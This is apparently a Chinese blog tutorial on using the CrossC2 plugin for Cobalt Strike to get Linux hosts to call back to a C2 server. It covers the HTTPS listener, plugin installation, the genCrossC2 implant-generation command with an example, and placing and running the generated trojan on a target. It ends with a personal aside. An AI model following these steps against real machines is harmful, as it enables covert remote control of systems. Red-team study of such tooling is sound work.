0x01 前言
Cross C2是一個支持Linux & MacOS系統的拓展插件,支持用戶自定義生成的動態庫,以無文件落地的方式從內存中加載執行動態庫或可執行文件。用法我的想法來說,相當於一個小集群,插件化方便利用,實際的滲透中意義並不大,更加實際於命令行滲透,做到無文件落地,過流量檢測加密免殺等技術的研究。
簡而言之:一個CS的簡單小插件,目的就是上線Linux主機, 可做一些簡單的操作,記錄一下使用過程中遇到的一些問題,並且在使用中操作的正確性。
Cross c2支持架構說明:
0x02 創建監聽器
通過文章的學習,了解到 Cross C2目前只支持HTTPS Beacon,所以在Listenrs中選擇HTTPS進行監聽
Cobalt Strike -> Listeners -> Add
0x03 CrossC2插件的安裝
首先:
server端,我們上傳兩個插件文件:
CrossC2.cna 和 genCrossC2.Linux,
並且在服務端加入命令執行的權限 chmod +x FileName
這邊需要注意一點,對CrossC2的process路徑的修改,一定要改到server端的絕對位置
當然,我看到網上說,通過 用nohup命令將CrossC2.cna添加到服務端插件中 ,我這邊自己測試是沒用任何用處的,因為你不設置,也同樣可以上線,這里還是把網上說的留給大家,自行測試
nohup ./agscript [host] [port] [username] [password] CrossC2.cna &
其次:
這邊介紹到Windows下GUI的操作,這里的主要操作就是在Client端進行插件的安裝,講cna文件集成到插件里面去,並且通過Client端進行重啟,就會在導航欄呈現CrossC2的這個選項,但是本人測試,並無卵用,因為時間問題,也沒有繼續深一步思考,這邊一樣把操作圖留給大家,也希望大家有任何問題在下面進行留言,互相學習進步
這個GUI沒時間搞,先到這里
0x04 安裝JDK1.8環境
這里就不多說了,借鑒網上大佬寫好的,也沒有測試,命令放下面
Centos7命令直接安裝並自動配置環境變量 (沒測試)
yum install java-1.8.0-openjdk* -y
查看java版本號,並且查看是否安裝成功,這邊還是推薦java 1.8版本
java --version
0x05 生成可執行文件並上線Linux
[usage]: ./genCrossC2.Linux [host] [port] [getURI] [postURI] [platform] [arch] [outputFileName] -platform 'MacOS' / 'Linux' -arch 'x86' / 'x64'
[ex]: ./genCrossC2.Linux 127.0.0.1 12345 null null Linux x64 C2
我這邊使用Kali做演示機器,進行上線,首先將生成的木馬文件放入到目標服務器–>運行權限的賦予–>運行–>上線,這是大體的流程
簡單命令的操作演示:
看到老描述,可以運用到webshell中,但是碰巧遇到一個報錯執行不了,是因為glibc動態庫版本的問題
查看當前glibc動態庫版本
strings /lib64/libc.so.6 |grep GLIBC
雖然存在libc.so.6,但是調用的動態庫版本不一樣,目前只支持GLIBC_2.14、GLIBC_2.15、GLIBC_2.17
所以解決方法是去官方:http://ftp.gnu.org/gnu/libc/
下載對應版本庫 -> 解壓 -> 進入目錄 -> 編譯 -> 安裝
但是覆蓋或者升級動態庫的后果可能會比較嚴重,這里就不繼續了
0x06 總結
2020.7.11 ,心煩,做一些自己力所能及的事情,做個人一定要實際,我始終還在看到那些0工資,每月花唄負債好多的人,就感覺難受想要發火,兩個人的付出是互相的,不是經濟差距,而是我看不懂你這種經濟 消費手段,生活呀,且行且珍惜!CS之CrossC2的文章到此結束,帶着不高興的狀態寫的,終歸心里還是不舒服,慢慢在改變自己的心態,放松,放松,relax,relaxing……
轉載請注明:Adminxe's Blog » 關於CS上線Linux主機(CrossC2)